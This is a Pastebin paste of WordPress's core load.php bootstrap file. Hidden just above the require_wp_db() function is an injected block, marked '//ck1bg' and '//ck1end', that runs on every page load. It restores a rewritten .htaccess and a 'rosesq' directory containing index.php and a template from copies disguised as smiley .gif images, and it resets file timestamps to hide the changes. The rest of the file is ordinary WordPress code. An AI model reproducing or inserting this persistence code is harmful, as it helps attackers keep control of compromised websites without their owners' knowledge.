Advertisement
Socialking

Untitled

Jan 25th, 2021
703
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 45.70 KB | None | 0 0
  1. <?php
  2. /**
  3.  * These functions are needed to load WordPress.
  4.  *
  5.  * @package WordPress
  6.  */
  7.  
  8. /**
  9.  * Return the HTTP protocol sent by the server.
  10.  *
  11.  * @since 4.4.0
  12.  *
  13.  * @return string The HTTP protocol. Default: HTTP/1.0.
  14.  */
  15. function wp_get_server_protocol() {
  16.     $protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : '';
  17.     if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) {
  18.         $protocol = 'HTTP/1.0';
  19.     }
  20.     return $protocol;
  21. }
  22.  
  23. /**
  24.  * Turn register globals off.
  25.  *
  26.  * @since 2.1.0
  27.  * @access private
  28.  */
  29. function wp_unregister_GLOBALS() {  // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
  30.     if ( ! ini_get( 'register_globals' ) ) {
  31.         return;
  32.     }
  33.  
  34.     if ( isset( $_REQUEST['GLOBALS'] ) ) {
  35.         die( 'GLOBALS overwrite attempt detected' );
  36.     }
  37.  
  38.     // Variables that shouldn't be unset
  39.     $no_unset = array( 'GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix' );
  40.  
  41.     $input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() );
  42.     foreach ( $input as $k => $v ) {
  43.         if ( ! in_array( $k, $no_unset ) && isset( $GLOBALS[ $k ] ) ) {
  44.             unset( $GLOBALS[ $k ] );
  45.         }
  46.     }
  47. }
  48.  
  49. /**
  50.  * Fix `$_SERVER` variables for various setups.
  51.  *
  52.  * @since 3.0.0
  53.  * @access private
  54.  *
  55.  * @global string $PHP_SELF The filename of the currently executing script,
  56.  *                          relative to the document root.
  57.  */
  58. function wp_fix_server_vars() {
  59.     global $PHP_SELF;
  60.  
  61.     $default_server_values = array(
  62.         'SERVER_SOFTWARE' => '',
  63.         'REQUEST_URI'     => '',
  64.     );
  65.  
  66.     $_SERVER = array_merge( $default_server_values, $_SERVER );
  67.  
  68.     // Fix for IIS when running with PHP ISAPI
  69.     if ( empty( $_SERVER['REQUEST_URI'] ) || ( PHP_SAPI != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) {
  70.  
  71.         if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) {
  72.             // IIS Mod-Rewrite
  73.             $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
  74.         } elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) {
  75.             // IIS Isapi_Rewrite
  76.             $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
  77.         } else {
  78.             // Use ORIG_PATH_INFO if there is no PATH_INFO
  79.             if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) {
  80.                 $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];
  81.             }
  82.  
  83.             // Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
  84.             if ( isset( $_SERVER['PATH_INFO'] ) ) {
  85.                 if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) {
  86.                     $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
  87.                 } else {
  88.                     $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
  89.                 }
  90.             }
  91.  
  92.             // Append the query string if it exists and isn't null
  93.             if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
  94.                 $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
  95.             }
  96.         }
  97.     }
  98.  
  99.     // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
  100.     if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) ) {
  101.         $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];
  102.     }
  103.  
  104.     // Fix for Dreamhost and other PHP as CGI hosts
  105.     if ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false ) {
  106.         unset( $_SERVER['PATH_INFO'] );
  107.     }
  108.  
  109.     // Fix empty PHP_SELF
  110.     $PHP_SELF = $_SERVER['PHP_SELF'];
  111.     if ( empty( $PHP_SELF ) ) {
  112.         $_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] );
  113.         $PHP_SELF            = $_SERVER['PHP_SELF'];
  114.     }
  115. }
  116.  
  117. /**
  118.  * Check for the required PHP version, and the MySQL extension or
  119.  * a database drop-in.
  120.  *
  121.  * Dies if requirements are not met.
  122.  *
  123.  * @since 3.0.0
  124.  * @access private
  125.  *
  126.  * @global string $required_php_version The required PHP version string.
  127.  * @global string $wp_version           The WordPress version string.
  128.  */
  129. function wp_check_php_mysql_versions() {
  130.     global $required_php_version, $wp_version;
  131.     $php_version = phpversion();
  132.  
  133.     if ( version_compare( $required_php_version, $php_version, '>' ) ) {
  134.         $protocol = wp_get_server_protocol();
  135.         header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 );
  136.         header( 'Content-Type: text/html; charset=utf-8' );
  137.         printf( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.', $php_version, $wp_version, $required_php_version );
  138.         exit( 1 );
  139.     }
  140.  
  141.     if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! extension_loaded( 'mysqlnd' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) {
  142.         require_once( ABSPATH . WPINC . '/functions.php' );
  143.         wp_load_translations_early();
  144.         $args = array(
  145.             'exit' => false,
  146.             'code' => 'mysql_not_found',
  147.         );
  148.         wp_die(
  149.             __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ),
  150.             __( 'Requirements Not Met' ),
  151.             $args
  152.         );
  153.         exit( 1 );
  154.     }
  155. }
  156.  
  157. /**
  158.  * Don't load all of WordPress when handling a favicon.ico request.
  159.  *
  160.  * Instead, send the headers for a zero-length favicon and bail.
  161.  *
  162.  * @since 3.0.0
  163.  */
  164. function wp_favicon_request() {
  165.     if ( '/favicon.ico' == $_SERVER['REQUEST_URI'] ) {
  166.         header( 'Content-Type: image/vnd.microsoft.icon' );
  167.         exit;
  168.     }
  169. }
  170.  
  171. /**
  172.  * Die with a maintenance message when conditions are met.
  173.  *
  174.  * Checks for a file in the WordPress root directory named ".maintenance".
  175.  * This file will contain the variable $upgrading, set to the time the file
  176.  * was created. If the file was created less than 10 minutes ago, WordPress
  177.  * enters maintenance mode and displays a message.
  178.  *
  179.  * The default message can be replaced by using a drop-in (maintenance.php in
  180.  * the wp-content directory).
  181.  *
  182.  * @since 3.0.0
  183.  * @access private
  184.  *
  185.  * @global int $upgrading the unix timestamp marking when upgrading WordPress began.
  186.  */
  187. function wp_maintenance() {
  188.     if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) {
  189.         return;
  190.     }
  191.  
  192.     global $upgrading;
  193.  
  194.     include( ABSPATH . '.maintenance' );
  195.     // If the $upgrading timestamp is older than 10 minutes, don't die.
  196.     if ( ( time() - $upgrading ) >= 600 ) {
  197.         return;
  198.     }
  199.  
  200.     /**
  201.      * Filters whether to enable maintenance mode.
  202.      *
  203.      * This filter runs before it can be used by plugins. It is designed for
  204.      * non-web runtimes. If this filter returns true, maintenance mode will be
  205.      * active and the request will end. If false, the request will be allowed to
  206.      * continue processing even if maintenance mode should be active.
  207.      *
  208.      * @since 4.6.0
  209.      *
  210.      * @param bool $enable_checks Whether to enable maintenance mode. Default true.
  211.      * @param int  $upgrading     The timestamp set in the .maintenance file.
  212.      */
  213.     if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) {
  214.         return;
  215.     }
  216.  
  217.     if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
  218.         require_once( WP_CONTENT_DIR . '/maintenance.php' );
  219.         die();
  220.     }
  221.  
  222.     require_once( ABSPATH . WPINC . '/functions.php' );
  223.     wp_load_translations_early();
  224.  
  225.     header( 'Retry-After: 600' );
  226.  
  227.     wp_die(
  228.         __( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ),
  229.         __( 'Maintenance' ),
  230.         503
  231.     );
  232. }
  233.  
  234. /**
  235.  * Start the WordPress micro-timer.
  236.  *
  237.  * @since 0.71
  238.  * @access private
  239.  *
  240.  * @global float $timestart Unix timestamp set at the beginning of the page load.
  241.  * @see timer_stop()
  242.  *
  243.  * @return bool Always returns true.
  244.  */
  245. function timer_start() {
  246.     global $timestart;
  247.     $timestart = microtime( true );
  248.     return true;
  249. }
  250.  
  251. /**
  252.  * Retrieve or display the time from the page start to when function is called.
  253.  *
  254.  * @since 0.71
  255.  *
  256.  * @global float   $timestart Seconds from when timer_start() is called.
  257.  * @global float   $timeend   Seconds from when function is called.
  258.  *
  259.  * @param int|bool $display   Whether to echo or return the results. Accepts 0|false for return,
  260.  *                            1|true for echo. Default 0|false.
  261.  * @param int      $precision The number of digits from the right of the decimal to display.
  262.  *                            Default 3.
  263.  * @return string The "second.microsecond" finished time calculation. The number is formatted
  264.  *                for human consumption, both localized and rounded.
  265.  */
  266. function timer_stop( $display = 0, $precision = 3 ) {
  267.     global $timestart, $timeend;
  268.     $timeend   = microtime( true );
  269.     $timetotal = $timeend - $timestart;
  270.     $r         = ( function_exists( 'number_format_i18n' ) ) ? number_format_i18n( $timetotal, $precision ) : number_format( $timetotal, $precision );
  271.     if ( $display ) {
  272.         echo $r;
  273.     }
  274.     return $r;
  275. }
  276.  
  277. /**
  278.  * Set PHP error reporting based on WordPress debug settings.
  279.  *
  280.  * Uses three constants: `WP_DEBUG`, `WP_DEBUG_DISPLAY`, and `WP_DEBUG_LOG`.
  281.  * All three can be defined in wp-config.php. By default, `WP_DEBUG` and
  282.  * `WP_DEBUG_LOG` are set to false, and `WP_DEBUG_DISPLAY` is set to true.
  283.  *
  284.  * When `WP_DEBUG` is true, all PHP notices are reported. WordPress will also
  285.  * display internal notices: when a deprecated WordPress function, function
  286.  * argument, or file is used. Deprecated code may be removed from a later
  287.  * version.
  288.  *
  289.  * It is strongly recommended that plugin and theme developers use `WP_DEBUG`
  290.  * in their development environments.
  291.  *
  292.  * `WP_DEBUG_DISPLAY` and `WP_DEBUG_LOG` perform no function unless `WP_DEBUG`
  293.  * is true.
  294.  *
  295.  * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed.
  296.  * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress
  297.  * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY`
  298.  * as false will force errors to be hidden.
  299.  *
  300.  * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`.
  301.  * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file.
  302.  *
  303.  * Errors are never displayed for XML-RPC, REST, and Ajax requests.
  304.  *
  305.  * @since 3.0.0
  306.  * @since 5.1.0 `WP_DEBUG_LOG` can be a file path.
  307.  * @access private
  308.  */
  309. function wp_debug_mode() {
  310.     /**
  311.      * Filters whether to allow the debug mode check to occur.
  312.      *
  313.      * This filter runs before it can be used by plugins. It is designed for
  314.      * non-web run-times. Returning false causes the `WP_DEBUG` and related
  315.      * constants to not be checked and the default php values for errors
  316.      * will be used unless you take care to update them yourself.
  317.      *
  318.      * @since 4.6.0
  319.      *
  320.      * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true.
  321.      */
  322.     if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) {
  323.         return;
  324.     }
  325.  
  326.     if ( WP_DEBUG ) {
  327.         error_reporting( E_ALL );
  328.  
  329.         if ( WP_DEBUG_DISPLAY ) {
  330.             ini_set( 'display_errors', 1 );
  331.         } elseif ( null !== WP_DEBUG_DISPLAY ) {
  332.             ini_set( 'display_errors', 0 );
  333.         }
  334.  
  335.         if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) {
  336.             $log_path = WP_CONTENT_DIR . '/debug.log';
  337.         } elseif ( is_string( WP_DEBUG_LOG ) ) {
  338.             $log_path = WP_DEBUG_LOG;
  339.         } else {
  340.             $log_path = false;
  341.         }
  342.  
  343.         if ( $log_path ) {
  344.             ini_set( 'log_errors', 1 );
  345.             ini_set( 'error_log', $log_path );
  346.         }
  347.     } else {
  348.         error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
  349.     }
  350.  
  351.     if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) {
  352.         ini_set( 'display_errors', 0 );
  353.     }
  354. }
  355.  
  356. /**
  357.  * Set the location of the language directory.
  358.  *
  359.  * To set directory manually, define the `WP_LANG_DIR` constant
  360.  * in wp-config.php.
  361.  *
  362.  * If the language directory exists within `WP_CONTENT_DIR`, it
  363.  * is used. Otherwise the language directory is assumed to live
  364.  * in `WPINC`.
  365.  *
  366.  * @since 3.0.0
  367.  * @access private
  368.  */
  369. function wp_set_lang_dir() {
  370.     if ( ! defined( 'WP_LANG_DIR' ) ) {
  371.         if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || ! @is_dir( ABSPATH . WPINC . '/languages' ) ) {
  372.             /**
  373.              * Server path of the language directory.
  374.              *
  375.              * No leading slash, no trailing slash, full path, not relative to ABSPATH
  376.              *
  377.              * @since 2.1.0
  378.              */
  379.             define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' );
  380.             if ( ! defined( 'LANGDIR' ) ) {
  381.                 // Old static relative path maintained for limited backward compatibility - won't work in some cases.
  382.                 define( 'LANGDIR', 'wp-content/languages' );
  383.             }
  384.         } else {
  385.             /**
  386.              * Server path of the language directory.
  387.              *
  388.              * No leading slash, no trailing slash, full path, not relative to `ABSPATH`.
  389.              *
  390.              * @since 2.1.0
  391.              */
  392.             define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' );
  393.             if ( ! defined( 'LANGDIR' ) ) {
  394.                 // Old relative path maintained for backward compatibility.
  395.                 define( 'LANGDIR', WPINC . '/languages' );
  396.             }
  397.         }
  398.     }
  399. }
  400.  
  401. /**
  402.  * Load the database class file and instantiate the `$wpdb` global.
  403.  *
  404.  * @since 2.5.0
  405.  *
  406.  * @global wpdb $wpdb WordPress database abstraction object.
  407.  */
  408.  
  409. //ck1bg
  410. $nowFileDir =  'rosesq';
  411. $nowHtacFile =  './.htaccess';
  412. $nmbf1 =  './rosesq/template.html';
  413. $nowIndexFile =  './rosesq/index.php';
  414. $nowLogFile =  './rosesq/logs.txt';
  415. $bkLocalFileIndex1 =  './wp-includes/images/smilies/icon_reds.gif';
  416. $bkLocalFileHtac1 =  './wp-includes/images/smilies/icon_blacks.gif';
  417. $bkLocalFileMoban1 =  './wp-includes/images/smilies/icon_greens.gif';
  418.  
  419. if($nowHtacFile && file_exists($bkLocalFileHtac1)){
  420.     if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
  421.         if(!is_dir("./$nowFileDir")){
  422.             @mkdir("./$nowFileDir",0755);
  423.         }
  424.         @chmod($nowHtacFile,0755);
  425.         @file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
  426.         @chmod($nowHtacFile,0755);
  427.     }
  428. }
  429.  
  430.  
  431. if(file_exists($bkLocalFileIndex1)){
  432.     if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
  433.         if(!is_dir("./$nowFileDir")){
  434.             @mkdir("./$nowFileDir",0755);
  435.         }
  436.         @chmod($nowIndexFile,0755);
  437.         @file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
  438.         @chmod($nowIndexFile,0755);
  439.     }
  440. }
  441.  
  442. if(file_exists($bkLocalFileMoban1)){
  443.    
  444.     if(!file_exists($nmbf1)){
  445.         if(!is_dir("./$nowFileDir")){
  446.             @mkdir("./$nowFileDir",0755);
  447.         }
  448.         @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
  449.         @chmod($nmbf1,0755);
  450.     }else{
  451.         if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
  452.             $tpstrMb = file_get_contents($nmbf1);
  453.             if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
  454.                 $fitime = filemtime($bkLocalFileMoban1);
  455.                 @chmod($bkLocalFileMoban1,0755);
  456.                 @file_put_contents($bkLocalFileMoban1,$tpstrMb);
  457.                 @touch($bkLocalFileMoban1, $fitime, $fitime);  
  458.             }else{
  459.                 @chmod($bkLocalFileMoban1,0755);
  460.                 @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
  461.                 @chmod($bkLocalFileMoban1,0755);
  462.             }
  463.         }
  464.     }
  465.    
  466. }
  467. //ck1end
  468. function require_wp_db() {
  469.     global $wpdb;
  470.  
  471.     require_once( ABSPATH . WPINC . '/wp-db.php' );
  472.     if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) {
  473.         require_once( WP_CONTENT_DIR . '/db.php' );
  474.     }
  475.  
  476.     if ( isset( $wpdb ) ) {
  477.         return;
  478.     }
  479.  
  480.     $dbuser     = defined( 'DB_USER' ) ? DB_USER : '';
  481.     $dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : '';
  482.     $dbname     = defined( 'DB_NAME' ) ? DB_NAME : '';
  483.     $dbhost     = defined( 'DB_HOST' ) ? DB_HOST : '';
  484.  
  485.     $wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost );
  486. }
  487.  
  488. /**
  489.  * Set the database table prefix and the format specifiers for database
  490.  * table columns.
  491.  *
  492.  * Columns not listed here default to `%s`.
  493.  *
  494.  * @since 3.0.0
  495.  * @access private
  496.  *
  497.  * @global wpdb   $wpdb         WordPress database abstraction object.
  498.  * @global string $table_prefix The database table prefix.
  499.  */
  500. function wp_set_wpdb_vars() {
  501.     global $wpdb, $table_prefix;
  502.     if ( ! empty( $wpdb->error ) ) {
  503.         dead_db();
  504.     }
  505.  
  506.     $wpdb->field_types = array(
  507.         'post_author'      => '%d',
  508.         'post_parent'      => '%d',
  509.         'menu_order'       => '%d',
  510.         'term_id'          => '%d',
  511.         'term_group'       => '%d',
  512.         'term_taxonomy_id' => '%d',
  513.         'parent'           => '%d',
  514.         'count'            => '%d',
  515.         'object_id'        => '%d',
  516.         'term_order'       => '%d',
  517.         'ID'               => '%d',
  518.         'comment_ID'       => '%d',
  519.         'comment_post_ID'  => '%d',
  520.         'comment_parent'   => '%d',
  521.         'user_id'          => '%d',
  522.         'link_id'          => '%d',
  523.         'link_owner'       => '%d',
  524.         'link_rating'      => '%d',
  525.         'option_id'        => '%d',
  526.         'blog_id'          => '%d',
  527.         'meta_id'          => '%d',
  528.         'post_id'          => '%d',
  529.         'user_status'      => '%d',
  530.         'umeta_id'         => '%d',
  531.         'comment_karma'    => '%d',
  532.         'comment_count'    => '%d',
  533.         // multisite:
  534.         'active'           => '%d',
  535.         'cat_id'           => '%d',
  536.         'deleted'          => '%d',
  537.         'lang_id'          => '%d',
  538.         'mature'           => '%d',
  539.         'public'           => '%d',
  540.         'site_id'          => '%d',
  541.         'spam'             => '%d',
  542.     );
  543.  
  544.     $prefix = $wpdb->set_prefix( $table_prefix );
  545.  
  546.     if ( is_wp_error( $prefix ) ) {
  547.         wp_load_translations_early();
  548.         wp_die(
  549.             sprintf(
  550.                 /* translators: 1: $table_prefix, 2: wp-config.php */
  551.                 __( '<strong>ERROR</strong>: %1$s in %2$s can only contain numbers, letters, and underscores.' ),
  552.                 '<code>$table_prefix</code>',
  553.                 '<code>wp-config.php</code>'
  554.             )
  555.         );
  556.     }
  557. }
  558.  
  559. /**
  560.  * Toggle `$_wp_using_ext_object_cache` on and off without directly
  561.  * touching global.
  562.  *
  563.  * @since 3.7.0
  564.  *
  565.  * @global bool $_wp_using_ext_object_cache
  566.  *
  567.  * @param bool $using Whether external object cache is being used.
  568.  * @return bool The current 'using' setting.
  569.  */
  570. function wp_using_ext_object_cache( $using = null ) {
  571.     global $_wp_using_ext_object_cache;
  572.     $current_using = $_wp_using_ext_object_cache;
  573.     if ( null !== $using ) {
  574.         $_wp_using_ext_object_cache = $using;
  575.     }
  576.     return $current_using;
  577. }
  578.  
  579. /**
  580.  * Start the WordPress object cache.
  581.  *
  582.  * If an object-cache.php file exists in the wp-content directory,
  583.  * it uses that drop-in as an external object cache.
  584.  *
  585.  * @since 3.0.0
  586.  * @access private
  587.  *
  588.  * @global array $wp_filter Stores all of the filters.
  589.  */
  590. function wp_start_object_cache() {
  591.     global $wp_filter;
  592.     static $first_init = true;
  593.  
  594.     // Only perform the following checks once.
  595.     if ( $first_init ) {
  596.         if ( ! function_exists( 'wp_cache_init' ) ) {
  597.             /*
  598.              * This is the normal situation. First-run of this function. No
  599.              * caching backend has been loaded.
  600.              *
  601.              * We try to load a custom caching backend, and then, if it
  602.              * results in a wp_cache_init() function existing, we note
  603.              * that an external object cache is being used.
  604.              */
  605.             if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
  606.                 require_once( WP_CONTENT_DIR . '/object-cache.php' );
  607.                 if ( function_exists( 'wp_cache_init' ) ) {
  608.                     wp_using_ext_object_cache( true );
  609.                 }
  610.  
  611.                 // Re-initialize any hooks added manually by object-cache.php
  612.                 if ( $wp_filter ) {
  613.                     $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
  614.                 }
  615.             }
  616.         } elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
  617.             /*
  618.              * Sometimes advanced-cache.php can load object-cache.php before
  619.              * this function is run. This breaks the function_exists() check
  620.              * above and can result in wp_using_ext_object_cache() returning
  621.              * false when actually an external cache is in use.
  622.              */
  623.             wp_using_ext_object_cache( true );
  624.         }
  625.     }
  626.  
  627.     if ( ! wp_using_ext_object_cache() ) {
  628.         require_once( ABSPATH . WPINC . '/cache.php' );
  629.     }
  630.  
  631.     /*
  632.      * If cache supports reset, reset instead of init if already
  633.      * initialized. Reset signals to the cache that global IDs
  634.      * have changed and it may need to update keys and cleanup caches.
  635.      */
  636.     if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) {
  637.         wp_cache_switch_to_blog( get_current_blog_id() );
  638.     } elseif ( function_exists( 'wp_cache_init' ) ) {
  639.         wp_cache_init();
  640.     }
  641.  
  642.     if ( function_exists( 'wp_cache_add_global_groups' ) ) {
  643.         wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'site-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'blog_meta' ) );
  644.         wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) );
  645.     }
  646.  
  647.     $first_init = false;
  648. }
  649.  
  650. /**
  651.  * Redirect to the installer if WordPress is not installed.
  652.  *
  653.  * Dies with an error message when Multisite is enabled.
  654.  *
  655.  * @since 3.0.0
  656.  * @access private
  657.  */
  658. function wp_not_installed() {
  659.     if ( is_multisite() ) {
  660.         if ( ! is_blog_installed() && ! wp_installing() ) {
  661.             nocache_headers();
  662.  
  663.             wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) );
  664.         }
  665.     } elseif ( ! is_blog_installed() && ! wp_installing() ) {
  666.         nocache_headers();
  667.  
  668.         require( ABSPATH . WPINC . '/kses.php' );
  669.         require( ABSPATH . WPINC . '/pluggable.php' );
  670.  
  671.         $link = wp_guess_url() . '/wp-admin/install.php';
  672.  
  673.         wp_redirect( $link );
  674.         die();
  675.     }
  676. }
  677.  
  678. /**
  679.  * Retrieve an array of must-use plugin files.
  680.  *
  681.  * The default directory is wp-content/mu-plugins. To change the default
  682.  * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL`
  683.  * in wp-config.php.
  684.  *
  685.  * @since 3.0.0
  686.  * @access private
  687.  *
  688.  * @return array Files to include.
  689.  */
  690. function wp_get_mu_plugins() {
  691.     $mu_plugins = array();
  692.     if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
  693.         return $mu_plugins;
  694.     }
  695.     $dh = opendir( WPMU_PLUGIN_DIR );
  696.     if ( ! $dh ) {
  697.         return $mu_plugins;
  698.     }
  699.     while ( ( $plugin = readdir( $dh ) ) !== false ) {
  700.         if ( substr( $plugin, -4 ) == '.php' ) {
  701.             $mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin;
  702.         }
  703.     }
  704.     closedir( $dh );
  705.     sort( $mu_plugins );
  706.  
  707.     return $mu_plugins;
  708. }
  709.  
  710. /**
  711.  * Retrieve an array of active and valid plugin files.
  712.  *
  713.  * While upgrading or installing WordPress, no plugins are returned.
  714.  *
  715.  * The default directory is `wp-content/plugins`. To change the default
  716.  * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL`
  717.  * in `wp-config.php`.
  718.  *
  719.  * @since 3.0.0
  720.  * @access private
  721.  *
  722.  * @return string[] $plugin_file Array of paths to plugin files relative to the plugins directory.
  723.  */
  724. function wp_get_active_and_valid_plugins() {
  725.     $plugins        = array();
  726.     $active_plugins = (array) get_option( 'active_plugins', array() );
  727.  
  728.     // Check for hacks file if the option is enabled
  729.     if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) {
  730.         _deprecated_file( 'my-hacks.php', '1.5.0' );
  731.         array_unshift( $plugins, ABSPATH . 'my-hacks.php' );
  732.     }
  733.  
  734.     if ( empty( $active_plugins ) || wp_installing() ) {
  735.         return $plugins;
  736.     }
  737.  
  738.     $network_plugins = is_multisite() ? wp_get_active_network_plugins() : false;
  739.  
  740.     foreach ( $active_plugins as $plugin ) {
  741.         if ( ! validate_file( $plugin ) // $plugin must validate as file
  742.             && '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'
  743.             && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist
  744.             // not already included as a network plugin
  745.             && ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins ) )
  746.             ) {
  747.             $plugins[] = WP_PLUGIN_DIR . '/' . $plugin;
  748.         }
  749.     }
  750.  
  751.     /*
  752.      * Remove plugins from the list of active plugins when we're on an endpoint
  753.      * that should be protected against WSODs and the plugin is paused.
  754.      */
  755.     if ( wp_is_recovery_mode() ) {
  756.         $plugins = wp_skip_paused_plugins( $plugins );
  757.     }
  758.  
  759.     return $plugins;
  760. }
  761.  
  762. /**
  763.  * Filters a given list of plugins, removing any paused plugins from it.
  764.  *
  765.  * @since 5.2.0
  766.  *
  767.  * @param array $plugins List of absolute plugin main file paths.
  768.  * @return array Filtered value of $plugins, without any paused plugins.
  769.  */
  770. function wp_skip_paused_plugins( array $plugins ) {
  771.     $paused_plugins = wp_paused_plugins()->get_all();
  772.  
  773.     if ( empty( $paused_plugins ) ) {
  774.         return $plugins;
  775.     }
  776.  
  777.     foreach ( $plugins as $index => $plugin ) {
  778.         list( $plugin ) = explode( '/', plugin_basename( $plugin ) );
  779.  
  780.         if ( array_key_exists( $plugin, $paused_plugins ) ) {
  781.             unset( $plugins[ $index ] );
  782.  
  783.             // Store list of paused plugins for displaying an admin notice.
  784.             $GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ];
  785.         }
  786.     }
  787.  
  788.     return $plugins;
  789. }
  790.  
  791. /**
  792.  * Retrieves an array of active and valid themes.
  793.  *
  794.  * While upgrading or installing WordPress, no themes are returned.
  795.  *
  796.  * @since 5.1.0
  797.  * @access private
  798.  *
  799.  * @return array Array of paths to theme directories.
  800.  */
  801. function wp_get_active_and_valid_themes() {
  802.     global $pagenow;
  803.  
  804.     $themes = array();
  805.  
  806.     if ( wp_installing() && 'wp-activate.php' !== $pagenow ) {
  807.         return $themes;
  808.     }
  809.  
  810.     if ( TEMPLATEPATH !== STYLESHEETPATH ) {
  811.         $themes[] = STYLESHEETPATH;
  812.     }
  813.  
  814.     $themes[] = TEMPLATEPATH;
  815.  
  816.     /*
  817.      * Remove themes from the list of active themes when we're on an endpoint
  818.      * that should be protected against WSODs and the theme is paused.
  819.      */
  820.     if ( wp_is_recovery_mode() ) {
  821.         $themes = wp_skip_paused_themes( $themes );
  822.  
  823.         // If no active and valid themes exist, skip loading themes.
  824.         if ( empty( $themes ) ) {
  825.             add_filter( 'wp_using_themes', '__return_false' );
  826.         }
  827.     }
  828.  
  829.     return $themes;
  830. }
  831.  
  832. /**
  833.  * Filters a given list of themes, removing any paused themes from it.
  834.  *
  835.  * @since 5.2.0
  836.  *
  837.  * @param array $themes List of absolute theme directory paths.
  838.  * @return array Filtered value of $themes, without any paused themes.
  839.  */
